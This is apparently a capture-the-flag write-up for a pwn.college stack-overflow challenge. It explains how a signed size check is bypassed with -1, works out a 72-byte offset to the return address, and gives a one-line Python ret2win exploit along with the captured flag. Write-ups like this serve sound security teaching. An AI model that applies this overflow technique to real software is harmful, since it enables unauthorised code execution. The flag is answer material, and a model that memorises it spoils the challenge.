Sitemap

PWN.college->program security-> memory corruption challenges-> bounds-breaker-hard writeup

3 min readSep 15, 2026

--

Challenge Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

1. Introduction

The challenge is a 64-bit Linux binary that contains a stack-based buffer overflow vulnerability. The program asks the user to enter a payload size and then reads that many bytes into a stack buffer.

However, a bounds check prevents the user from entering a size greater than 45. The objective is to bypass this check, overflow the buffer, overwrite the saved return address, and redirect execution to the win() function to obtain the flag.

2. Analyzing the Binary

We first examined the binary using GDB and disassembled the challenge() function.

0x0000000000401703 <challenge>:
endbr64
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp

The instruction sub $0x70,%rsp allocates 112 bytes of stack space for local variables.

The buffer is initialized at:

lea    -0x40(%rbp),%rax
mov %rax,-0x8(%rbp)

This shows that the buffer begins at rbp - 0x40.

The binary also contains a function called win():

0x00000000004015fc <win>

This function opens the flag file, reads the flag, and prints it.

3. Identifying the Bounds Check

The program reads the payload size using scanf():

lea    -0x44(%rbp),%rax
mov %rax,%rsi
lea 0x40211b,%rdi
call __isoc99_scanf@plt

The size is stored at rbp - 0x44.

The following instructions perform the bounds check:

mov    -0x44(%rbp),%eax
cmp $0x2d,%eax
jle 0x4017a3

The value 0x2d is 45 in decimal.

The equivalent C code is:

if (size > 45) {
puts("...");
exit(1);
}

This means any size greater than 45 is rejected.

4. Identifying the Vulnerability

After the bounds check, the program calls read():

mov    -0x44(%rbp),%eax
mov %eax,%edx
mov    -0x8(%rbp),%rax
mov %rax,%rsi
mov $0x0,%edi
call 0x401150 <read@plt>

The equivalent C code is:

read(0, buffer, size);

The vulnerability is caused by the mismatch between the signed integer used for the bounds check and the unsigned size argument used by read().

The size is a signed 32-bit integer, but read() expects a size_t, which is unsigned.

5. Bypassing the Bounds Check

We entered:

-1

The bounds check evaluates:

-1 > 45

This is false, so the program does not exit.

However, the value is passed to read() as an unsigned size. The 32-bit value becomes:

0xffffffff

This corresponds to:

4294967295

as an unsigned 32-bit value.

Get Praba’s stories in your inbox

Join Medium for free to get updates from this writer.

Therefore, the program allows us to send a payload much larger than the intended 45-byte limit.

This bypass allows us to overwrite the saved return address on the stack.

6. Calculating the Buffer Overflow Offset

The buffer begins at:

rbp - 0x40

The saved return address is located at:

rbp + 0x8

The distance between them is:

0x40 + 0x8 = 0x48

Converting to decimal:

0x48 = 72 bytes

Therefore, we need 72 bytes of padding to reach the saved return address.

7. Redirecting Execution to win()

The address of the win() function is:

0x4015fc

Since x86–64 systems use little-endian byte order, the address is packed using:

p64(0x4015fc)

The final payload is:

b"A" * 72 + p64(0x4015fc)

The payload consists of:

  • 72 bytes of padding.
  • The address of win().

When the function returns, execution is redirected to win() instead of returning to the original caller.

8. Exploit

The final exploit was executed using:

python3 -c 'import sys; sys.stdout.buffer.write(b"-1\n" + b"A"*72 + (0x4015fc).to_bytes(8,"little"))' | /challenge/bounds-breaker-hard

This sends:

-1

as the payload size, followed by the overflow payload.

9. Result

The exploit successfully bypassed the bounds check and redirected execution to win().

The challenge printed the flag:

pwn.college{sqzbi9phh0ygc5vEf9xuEns0tVq.dZTOywCO5IDOxIzW}

10. Conclusion

The challenge demonstrates how a signed integer bounds check can be bypassed when the checked value is later used as an unsigned size argument.

The main vulnerability was the mismatch between the signed integer check and the unsigned read() size.

By entering -1, we bypassed the check, overflowed the stack buffer using 72 bytes of padding, and overwrote the saved return address with the address of win().

This redirected execution to the flag-printing function and successfully solved the challenge.

Key Takeaways

  • Signed and unsigned integer conversions can create security vulnerabilities.
  • Stack buffer overflows can overwrite saved return addresses.
  • Little-endian byte order is important when packing addresses.
  • Ret2win is a common technique in beginner and intermediate binary exploitation challenges.

--

--